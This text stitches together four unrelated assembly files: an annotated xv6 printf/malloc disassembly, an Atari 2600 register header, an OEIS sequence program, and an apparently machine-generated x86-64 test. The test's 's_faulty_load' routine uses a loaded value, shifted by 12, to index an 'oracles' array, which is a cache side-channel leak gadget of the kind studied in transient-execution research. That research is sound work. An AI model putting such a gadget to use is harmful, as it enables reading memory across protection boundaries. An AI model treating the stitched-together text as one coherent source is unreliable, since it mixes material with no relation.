4c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4c8: bf 25 00 00 00 mov $0x25,%edi
4cd: e9 66 ff ff ff jmp 438 <printf+0x48>
4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4d8: 83 ec 0c sub $0xc,%esp
4db: b9 10 00 00 00 mov $0x10,%ecx
4e0: 6a 00 push $0x0
4e2: 8b 7d d4 mov -0x2c(%ebp),%edi
4e5: 8b 45 08 mov 0x8(%ebp),%eax
4e8: 8b 17 mov (%edi),%edx
4ea: e8 61 fe ff ff call 350 <printint>
ap++;
4ef: 89 f8 mov %edi,%eax
4f1: 83 c4 10 add $0x10,%esp
state = 0;
4f4: 31 ff xor %edi,%edi
ap++;
4f6: 83 c0 04 add $0x4,%eax
4f9: 89 45 d4 mov %eax,-0x2c(%ebp)
4fc: e9 37 ff ff ff jmp 438 <printf+0x48>
501: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
508: 8b 45 d4 mov -0x2c(%ebp),%eax
50b: 8b 08 mov (%eax),%ecx
ap++;
50d: 83 c0 04 add $0x4,%eax
510: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
513: 85 c9 test %ecx,%ecx
515: 0f 84 8e 00 00 00 je 5a9 <printf+0x1b9>
while(*s != 0){
51b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
51e: 31 ff xor %edi,%edi
s = (char*)*ap;
520: 89 cb mov %ecx,%ebx
while(*s != 0){
522: 84 c0 test %al,%al
524: 0f 84 0e ff ff ff je 438 <printf+0x48>
52a: 89 75 d0 mov %esi,-0x30(%ebp)
52d: 89 de mov %ebx,%esi
52f: 8b 5d 08 mov 0x8(%ebp),%ebx
532: 8d 7d e3 lea -0x1d(%ebp),%edi
535: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
538: 83 ec 04 sub $0x4,%esp
s++;
53b: 83 c6 01 add $0x1,%esi
53e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
541: 6a 01 push $0x1
543: 57 push %edi
544: 53 push %ebx
545: e8 58 fd ff ff call 2a2 <write>
while(*s != 0){
54a: 0f b6 06 movzbl (%esi),%eax
54d: 83 c4 10 add $0x10,%esp
550: 84 c0 test %al,%al
552: 75 e4 jne 538 <printf+0x148>
554: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
557: 31 ff xor %edi,%edi
559: e9 da fe ff ff jmp 438 <printf+0x48>
55e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
560: 83 ec 0c sub $0xc,%esp
563: b9 0a 00 00 00 mov $0xa,%ecx
568: 6a 01 push $0x1
56a: e9 73 ff ff ff jmp 4e2 <printf+0xf2>
56f: 90 nop
write(fd, &c, 1);
570: 83 ec 04 sub $0x4,%esp
573: 88 5d e5 mov %bl,-0x1b(%ebp)
576: 8d 45 e5 lea -0x1b(%ebp),%eax
579: 6a 01 push $0x1
57b: e9 21 ff ff ff jmp 4a1 <printf+0xb1>
putc(fd, *ap);
580: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
583: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
586: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
588: 6a 01 push $0x1
ap++;
58a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
58d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
590: 8d 45 e4 lea -0x1c(%ebp),%eax
593: 50 push %eax
594: ff 75 08 pushl 0x8(%ebp)
597: e8 06 fd ff ff call 2a2 <write>
ap++;
59c: 89 7d d4 mov %edi,-0x2c(%ebp)
59f: 83 c4 10 add $0x10,%esp
state = 0;
5a2: 31 ff xor %edi,%edi
5a4: e9 8f fe ff ff jmp 438 <printf+0x48>
s = "(null)";
5a9: bb 48 07 00 00 mov $0x748,%ebx
while(*s != 0){
5ae: b8 28 00 00 00 mov $0x28,%eax
5b3: e9 72 ff ff ff jmp 52a <printf+0x13a>
5b8: 66 90 xchg %ax,%ax
5ba: 66 90 xchg %ax,%ax
5bc: 66 90 xchg %ax,%ax
5be: 66 90 xchg %ax,%ax
000005c0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5c0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5c1: a1 f4 09 00 00 mov 0x9f4,%eax
{
5c6: 89 e5 mov %esp,%ebp
5c8: 57 push %edi
5c9: 56 push %esi
5ca: 53 push %ebx
5cb: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
5ce: 8d 4b f8 lea -0x8(%ebx),%ecx
5d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5d8: 39 c8 cmp %ecx,%eax
5da: 8b 10 mov (%eax),%edx
5dc: 73 32 jae 610 <free+0x50>
5de: 39 d1 cmp %edx,%ecx
5e0: 72 04 jb 5e6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5e2: 39 d0 cmp %edx,%eax
5e4: 72 32 jb 618 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
5e6: 8b 73 fc mov -0x4(%ebx),%esi
5e9: 8d 3c f1 lea (%ecx,%esi,8),%edi
5ec: 39 fa cmp %edi,%edx
5ee: 74 30 je 620 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
5f0: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
5f3: 8b 50 04 mov 0x4(%eax),%edx
5f6: 8d 34 d0 lea (%eax,%edx,8),%esi
5f9: 39 f1 cmp %esi,%ecx
5fb: 74 3a je 637 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
5fd: 89 08 mov %ecx,(%eax)
freep = p;
5ff: a3 f4 09 00 00 mov %eax,0x9f4
}
604: 5b pop %ebx
605: 5e pop %esi
606: 5f pop %edi
607: 5d pop %ebp
608: c3 ret
609: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
610: 39 d0 cmp %edx,%eax
612: 72 04 jb 618 <free+0x58>
614: 39 d1 cmp %edx,%ecx
616: 72 ce jb 5e6 <free+0x26>
{
618: 89 d0 mov %edx,%eax
61a: eb bc jmp 5d8 <free+0x18>
61c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
620: 03 72 04 add 0x4(%edx),%esi
623: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
626: 8b 10 mov (%eax),%edx
628: 8b 12 mov (%edx),%edx
62a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
62d: 8b 50 04 mov 0x4(%eax),%edx
630: 8d 34 d0 lea (%eax,%edx,8),%esi
633: 39 f1 cmp %esi,%ecx
635: 75 c6 jne 5fd <free+0x3d>
p->s.size += bp->s.size;
637: 03 53 fc add -0x4(%ebx),%edx
freep = p;
63a: a3 f4 09 00 00 mov %eax,0x9f4
p->s.size += bp->s.size;
63f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
642: 8b 53 f8 mov -0x8(%ebx),%edx
645: 89 10 mov %edx,(%eax)
}
647: 5b pop %ebx
648: 5e pop %esi
649: 5f pop %edi
64a: 5d pop %ebp
64b: c3 ret
64c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000650 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
650: 55 push %ebp
651: 89 e5 mov %esp,%ebp
653: 57 push %edi
654: 56 push %esi
655: 53 push %ebx
656: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
659: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
65c: 8b 15 f4 09 00 00 mov 0x9f4,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
662: 8d 78 07 lea 0x7(%eax),%edi
665: c1 ef 03 shr $0x3,%edi
668: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
66b: 85 d2 test %edx,%edx
66d: 0f 84 9d 00 00 00 je 710 <malloc+0xc0>
673: 8b 02 mov (%edx),%eax
675: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
678: 39 cf cmp %ecx,%edi
67a: 76 6c jbe 6e8 <malloc+0x98>
67c: 81 ff 00 10 00 00 cmp $0x1000,%edi
682: bb 00 10 00 00 mov $0x1000,%ebx
687: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
68a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
691: eb 0e jmp 6a1 <malloc+0x51>
693: 90 nop
694: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
698: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
69a: 8b 48 04 mov 0x4(%eax),%ecx
69d: 39 f9 cmp %edi,%ecx
69f: 73 47 jae 6e8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6a1: 39 05 f4 09 00 00 cmp %eax,0x9f4
6a7: 89 c2 mov %eax,%edx
6a9: 75 ed jne 698 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6ab: 83 ec 0c sub $0xc,%esp
6ae: 56 push %esi
6af: e8 56 fc ff ff call 30a <sbrk>
if(p == (char*)-1)
6b4: 83 c4 10 add $0x10,%esp
6b7: 83 f8 ff cmp $0xffffffff,%eax
6ba: 74 1c je 6d8 <malloc+0x88>
hp->s.size = nu;
6bc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6bf: 83 ec 0c sub $0xc,%esp
6c2: 83 c0 08 add $0x8,%eax
6c5: 50 push %eax
6c6: e8 f5 fe ff ff call 5c0 <free>
return freep;
6cb: 8b 15 f4 09 00 00 mov 0x9f4,%edx
if((p = morecore(nunits)) == 0)
6d1: 83 c4 10 add $0x10,%esp
6d4: 85 d2 test %edx,%edx
6d6: 75 c0 jne 698 <malloc+0x48>
return 0;
}
}
6d8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6db: 31 c0 xor %eax,%eax
}
6dd: 5b pop %ebx
6de: 5e pop %esi
6df: 5f pop %edi
6e0: 5d pop %ebp
6e1: c3 ret
6e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
6e8: 39 cf cmp %ecx,%edi
6ea: 74 54 je 740 <malloc+0xf0>
p->s.size -= nunits;
6ec: 29 f9 sub %edi,%ecx
6ee: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6f1: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6f4: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
6f7: 89 15 f4 09 00 00 mov %edx,0x9f4
}
6fd: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
700: 83 c0 08 add $0x8,%eax
}
703: 5b pop %ebx
704: 5e pop %esi
705: 5f pop %edi
706: 5d pop %ebp
707: c3 ret
708: 90 nop
709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
710: c7 05 f4 09 00 00 f8 movl $0x9f8,0x9f4
717: 09 00 00
71a: c7 05 f8 09 00 00 f8 movl $0x9f8,0x9f8
721: 09 00 00
base.s.size = 0;
724: b8 f8 09 00 00 mov $0x9f8,%eax
729: c7 05 fc 09 00 00 00 movl $0x0,0x9fc
730: 00 00 00
733: e9 44 ff ff ff jmp 67c <malloc+0x2c>
738: 90 nop
739: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
740: 8b 08 mov (%eax),%ecx
742: 89 0a mov %ecx,(%edx)
744: eb b1 jmp 6f7 <malloc+0xa7>
|
; VCS.asm
; MADS compatible version by JAC! 2010-12-15.
; Based on VCS.H version 1.05, 2003-11-13.
; Last update on 2010-11-11.
; The latest version of this file is availble on
; http://www.wudsn.com/productions/atari2600/ide/VCS.asm
VERSION_VCS = 105
; THIS IS A PRELIMINARY RELEASE OF *THE* "STANDARD" VCS.H
; THIS FILE IS EXPLICITLY SUPPORTED AS A DASM-PREFERRED COMPANION FILE
; PLEASE DO *NOT* REDISTRIBUTE THIS FILE!
;
; This file defines hardware registers and memory mapping for the
; Atari 2600. It is distributed as a companion machine-specific support package
; for the DASM compiler. Updates to this file, DASM, and associated tools are
; available at at http://www.atari2600.org/dasm
;
; Many thanks to the original author(s) of this file, and to everyone who has
; contributed to understanding the Atari 2600. If you take issue with the
; contents, or naming of registers, please write to me (atari2600@taswegian.com)
; with your views. Please contribute, if you think you can improve this
; file!
;
; Latest Revisions...
; 1.05 13/NOV/2003 - Correction to 1.04 - now functions as requested by MR.
; - Added VERSION_VCS equate (which will reflect 100x version #)
; This will allow conditional code to verify VCS.H being
; used for code assembly.
; 1.04 12/NOV/2003 Added TIA_BASE_WRITE_ADDRESS and TIA_BASE_READ_ADDRESS for
; convenient disassembly/reassembly compatibility for hardware
; mirrored reading/writing differences. This is more a
; readability issue, and binary compatibility with disassembled
; and reassembled sources. Per Manuel Rotschkar's suggestion.
; 1.03 12/MAY/2003 Added SEG segment at end of file to fix old-code compatibility
; which was broken by the use of segments in this file, as
; reported by Manuel Polik on [stella] 11/MAY/2003
; 1.02 22/MAR/2003 Added TIMINT($285)
; 1.01 Constant offset added to allow use for 3F-style bankswitching
; - define TIA_BASE_ADDRESS as $40 for Tigervision carts, otherwise
; it is safe to leave it undefined, and the base address will
; be set to 0. Thanks to Eckhard Stolberg for the suggestion.
; Note, may use -DLABEL=EXPRESSION to define TIA_BASE_ADDRESS
; - register definitions are now generated through assignment
; in uninitialised segments. This allows a changeable base
; address architecture.
; 1.0 22/MAR/2003 Initial release
;-------------------------------------------------------------------------------
; TIA_BASE_ADDRESS
; The TIA_BASE_ADDRESS defines the base address of access to TIA registers.
; Normally 0, the base address should (externally, before including this file)
; be set to $40 when creating 3F-bankswitched (and other?) cartridges.
; The reason is that this bankswitching scheme treats any access to locations
; < $40 as a bankswitch.
.if .not .def TIA_BASE_ADDRESS
TIA_BASE_ADDRESS = 0
.endif
; Note: The address may be defined on the command-line using the -D switch, eg:
; dasm.exe code.asm -DTIA_BASE_ADDRESS=$40 -f3 -v5 -ocode.bin
; *OR* by declaring the label before including this file, eg:
; TIA_BASE_ADDRESS = $40
; include "vcs.h"
; Alternate read/write address capability - allows for some disassembly compatibility
; usage ; to allow reassembly to binary perfect copies). This is essentially catering
; for the mirrored ROM hardware registers.
; Usage: As per above, define the TIA_BASE_READ_ADDRESS and/or TIA_BASE_WRITE_ADDRESS
; using the -D command-line switch, as required. If the addresses are not defined,
; they defaut to the TIA_BASE_ADDRESS.
.if .not .def TIA_BASE_READ_ADDRESS
TIA_BASE_READ_ADDRESS = TIA_BASE_ADDRESS
.endif
.if .not .def TIA_BASE_WRITE_ADDRESS
TIA_BASE_WRITE_ADDRESS = TIA_BASE_ADDRESS
.endif
;-------------------------------------------------------------------------------
org TIA_BASE_WRITE_ADDRESS
; DO NOT CHANGE THE RELATIVE ORDERING OF REGISTERS!
vsync .ds 1 ; $00 0000 00x0 Vertical Sync Set-Clear
vblank .ds 1 ; $01 xx00 00x0 Vertical Blank Set-Clear
wsync .ds 1 ; $02 ---- ---- Wait for Horizontal Blank
rsync .ds 1 ; $03 ---- ---- Reset Horizontal Sync Counter
nusiz0 .ds 1 ; $04 00xx 0xxx Number-Size player/missle 0
nusiz1 .ds 1 ; $05 00xx 0xxx Number-Size player/missle 1
colup0 .ds 1 ; $06 xxxx xxx0 Color-Luminance Player 0
colup1 .ds 1 ; $07 xxxx xxx0 Color-Luminance Player 1
colupf .ds 1 ; $08 xxxx xxx0 Color-Luminance Playfield
colubk .ds 1 ; $09 xxxx xxx0 Color-Luminance Background
ctrlpf .ds 1 ; $0A 00xx 0xxx Control Playfield, Ball, Collisions
; D0 = REF (reflect playfield)
; D1 = SCORE (left half of playfield gets color of player 0, right half gets color of player 1
; D2 = PFP (playfield gets priority over players so they can move behind the playfield)
; D4 & D5 = BALL SIZE
refp0 .ds 1 ; $0B 0000 x000 Reflection Player 0
refp1 .ds 1 ; $0C 0000 x000 Reflection Player 1
pf0 .ds 1 ; $0D xxxx 0000 Playfield Register Byte 0
pf1 .ds 1 ; $0E xxxx xxxx Playfield Register Byte 1
pf2 .ds 1 ; $0F xxxx xxxx Playfield Register Byte 2
resp0 .ds 1 ; $10 ---- ---- Reset Player 0
resp1 .ds 1 ; $11 ---- ---- Reset Player 1
resm0 .ds 1 ; $12 ---- ---- Reset Missle 0
resm1 .ds 1 ; $13 ---- ---- Reset Missle 1
resbl .ds 1 ; $14 ---- ---- Reset Ball
audc0 .ds 1 ; $15 0000 xxxx Audio Control 0
audc1 .ds 1 ; $16 0000 xxxx Audio Control 1
audf0 .ds 1 ; $17 000x xxxx Audio Frequency 0
audf1 .ds 1 ; $18 000x xxxx Audio Frequency 1
audv0 .ds 1 ; $19 0000 xxxx Audio Volume 0
audv1 .ds 1 ; $1A 0000 xxxx Audio Volume 1
grp0 .ds 1 ; $1B xxxx xxxx Graphics Register Player 0
grp1 .ds 1 ; $1C xxxx xxxx Graphics Register Player 1
enam0 .ds 1 ; $1D 0000 00x0 Graphics Enable Missle 0
enam1 .ds 1 ; $1E 0000 00x0 Graphics Enable Missle 1
enabl .ds 1 ; $1F 0000 00x0 Graphics Enable Ball
hmp0 .ds 1 ; $20 xxxx 0000 Horizontal Motion Player 0
hmp1 .ds 1 ; $21 xxxx 0000 Horizontal Motion Player 1
hmm0 .ds 1 ; $22 xxxx 0000 Horizontal Motion Missle 0
hmm1 .ds 1 ; $23 xxxx 0000 Horizontal Motion Missle 1
hmbl .ds 1 ; $24 xxxx 0000 Horizontal Motion Ball
vdelp0 .ds 1 ; $25 0000 000x Vertical Delay Player 0
vdelp1 .ds 1 ; $26 0000 000x Vertical Delay Player 1
vdelbl .ds 1 ; $27 0000 000x Vertical Delay Ball
resmp0 .ds 1 ; $28 0000 00x0 Reset Missle 0 to Player 0
resmp1 .ds 1 ; $29 0000 00x0 Reset Missle 1 to Player 1
hmove .ds 1 ; $2A ---- ---- Apply Horizontal Motion
hmclr .ds 1 ; $2B ---- ---- Clear Horizontal Move Registers
cxclr .ds 1 ; $2C ---- ---- Clear Collision Latches
dummy3 = cxclr
dummy4 = cxclr+$100
;-------------------------------------------------------------------------------
org TIA_BASE_READ_ADDRESS
; bit 7 bit 6
cxm0p .ds 1 ; $00 xx00 0000 Read Collision M0-P1 M0-P0
cxm1p .ds 1 ; $01 xx00 0000 M1-P0 M1-P1
cxp0fb .ds 1 ; $02 xx00 0000 P0-PF P0-BL
cxp1fb .ds 1 ; $03 xx00 0000 P1-PF P1-BL
cxm0fb .ds 1 ; $04 xx00 0000 M0-PF M0-BL
cxm1fb .ds 1 ; $05 xx00 0000 M1-PF M1-BL
cxblpf .ds 1 ; $06 x000 0000 BL-PF -----
cxppmm .ds 1 ; $07 xx00 0000 P0-P1 M0-M1
inpt0 .ds 1 ; $08 x000 0000 Read Pot Port 0
inpt1 .ds 1 ; $09 x000 0000 Read Pot Port 1
inpt2 .ds 1 ; $0A x000 0000 Read Pot Port 2
inpt3 .ds 1 ; $0B x000 0000 Read Pot Port 3
inpt4 .ds 1 ; $0C x000 0000 Read Input (Trigger) 0
inpt5 .ds 1 ; $0D x000 0000 Read Input (Trigger) 1
;-------------------------------------------------------------------------------
org $280 ;RIOT
; RIOT MEMORY MAP
swcha .ds 1 ; $280 Port A data register for joysticks:
; Bits 4-7 for player 1. Bits 0-3 for player 2.
swacnt .ds 1 ; $281 Port A data direction register (DDR)
swchb .ds 1 ; $282 Port B data (console switches)
swbcnt .ds 1 ; $283 Port B DDR
intim .ds 1 ; $284 Timer output
timint .ds 1 ; $285
; Unused/undefined registers ($285-$294)
.ds 1 ; $286
.ds 1 ; $287
.ds 1 ; $288
.ds 1 ; $289
.ds 1 ; $28A
.ds 1 ; $28B
.ds 1 ; $28C
.ds 1 ; $28D
.ds 1 ; $28E
.ds 1 ; $28F
.ds 1 ; $290
.ds 1 ; $291
.ds 1 ; $292
.ds 1 ; $293
tim1t .ds 1 ; $294 Set 1 clock interval
tim8t .ds 1 ; $295 Set 8 clock interval
tim64t .ds 1 ; $296 Set 64 clock interval
t1024t .ds 1 ; $297 Set 1024 clock interval
.macro assert_same_page
.if :1 / $100 <> (:1 + .len :1 - 1) / $100
.error ":1 crosses page boundary between ", :1, , " - ", :1 + .len :1 - 1
; .print "ERROR: :1 crosses page boundary between ", :1, , " - ", :1 + .len :1 - 1
.else
.print ":1 within page boundary between ", :1, , " - ", :1 + .len :1 - 1
.endif
.endm |
; A062966: a(n) = C(3+n, n) + C(4+n, n) + C(5+n, n) + C(6+n, n).
; 4,22,74,195,441,896,1680,2958,4950,7942,12298,18473,27027,38640,54128,74460,100776,134406,176890,229999,295757,376464,474720,593450,735930,905814,1107162,1344469,1622695,1947296,2324256,2760120,3262028,3837750,4495722,5245083,6095713,7058272,8144240,9365958,10736670,12270566,13982826,15889665,18008379,20357392,22956304,25825940,28988400,32467110,36286874,40473927,45055989,50062320,55523776,61472866,67943810,74972598,82597050,90856877,99793743,109451328,119875392,131113840,143216788,156236630,170228106,185248371,201357065,218616384,237091152,256848894,277959910,300497350,324537290,350158809,377444067,406478384,437350320,470151756,504977976,541927750,581103418,622610975,666560157,713064528,762241568,814212762,869103690,927044118,988168090,1052614021,1120524791,1192047840,1267335264,1346543912,1429835484,1517376630,1609339050,1705899595,1807240369,1913548832,2025017904,2141846070,2264237486,2392402086,2526555690,2666920113,2813723275,2967199312,3127588688,3295138308,3470101632,3652738790,3843316698,4042109175,4249397061,4465468336,4690618240,4925149394,5169371922,5423603574,5688169850,5963404125,6249647775,6547250304,6856569472,7177971424,7511830820,7858530966,8218463946,8592030755,8979641433,9381715200,9798680592,10230975598,10679047798,11143354502,11624362890,12122550153,12638403635,13172420976,13725110256,14296990140,14888590024,15500450182,16133121914,16787167695,17463161325,18161688080,18883344864,19628740362,20398495194,21193242070,22013625946,22860304181,23733946695,24635236128,25564868000,26523550872,27512006508,28530970038,29581190122,30663429115,31778463233,32927082720,34110092016,35328309926,36582569790,37873719654,39202622442,40570156129,41977213915,43424704400,44913551760,46444695924,48019092752,49637714214,51301548570,53011600551,54768891541,56574459760,58429360448,60334666050,62291466402,64300868918,66363998778,68481999117,70656031215,72887274688,75176927680,77526207056,79936348596,82408607190,84944257034,87544591827,90210924969,92944589760,95746939600,98619348190,101563209734,104579939142,107670972234,110837765945,114081798531,117404569776,120807601200,124292436268,127860640600,131513802182,135253531578,139081462143,142999250237,147008575440,151111140768,155308672890,159602922346,163995663766,168488696090,173083842789,177782952087,182587897184,187500576480,192522913800,197656858620,202904386294,208267498282,213748222379,219348612945,225070751136,230916745136,236888730390,242988869838,249219354150,255582401962,262080260113,268715203883,275489537232,282405593040,289465733348,296672349600,304027862886,311534724186,319195414615,327012445669,334988359472,343125729024,351427158450,359895283250,368532770550
mov $20,$0
mov $22,$0
add $22,1
lpb $22
clr $0,20
mov $0,$20
sub $22,1
sub $0,$22
mov $17,$0
mov $19,$0
add $19,1
lpb $19
mov $0,$17
sub $19,1
sub $0,$19
add $0,5
bin $0,4
sub $0,1
add $18,$0
lpe
add $21,$18
lpe
mov $1,$21
|
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x178f1, %rdi
nop
nop
nop
nop
xor $3898, %r8
and $0xffffffffffffffc0, %rdi
movntdqa (%rdi), %xmm4
vpextrq $1, %xmm4, %rbp
nop
nop
nop
and $54731, %rax
lea addresses_WC_ht+0x1315, %rsi
lea addresses_WT_ht+0xc389, %rdi
nop
nop
nop
nop
nop
sub %rax, %rax
mov $126, %rcx
rep movsl
nop
nop
cmp %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_UC+0x16291, %rdi
nop
nop
nop
nop
cmp $56310, %r14
vmovups (%rdi), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rsi
nop
nop
nop
nop
nop
xor %r13, %r13
// Store
lea addresses_D+0x11d96, %r11
nop
nop
nop
xor %rcx, %rcx
mov $0x5152535455565758, %rdi
movq %rdi, (%r11)
xor %rdx, %rdx
// Store
lea addresses_WT+0x1dbf1, %rdx
cmp $51708, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
sub $6922, %r11
// Store
lea addresses_WC+0xb6a5, %rdi
nop
nop
nop
nop
dec %r11
movl $0x51525354, (%rdi)
nop
sub $46304, %rsi
// Store
lea addresses_WT+0x1c3f1, %r13
nop
nop
sub $40408, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, (%r13)
nop
nop
nop
cmp $13372, %rcx
// Store
lea addresses_UC+0x12d81, %rsi
dec %rcx
movb $0x51, (%rsi)
nop
nop
nop
nop
and %r14, %r14
// Faulty Load
lea addresses_PSE+0x1b3f1, %r13
nop
xor %rsi, %rsi
mov (%r13), %rdx
lea oracles, %r11
and $0xff, %rdx
shlq $12, %rdx
mov (%r11,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC', 'congruent': 4}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 1}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 7}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 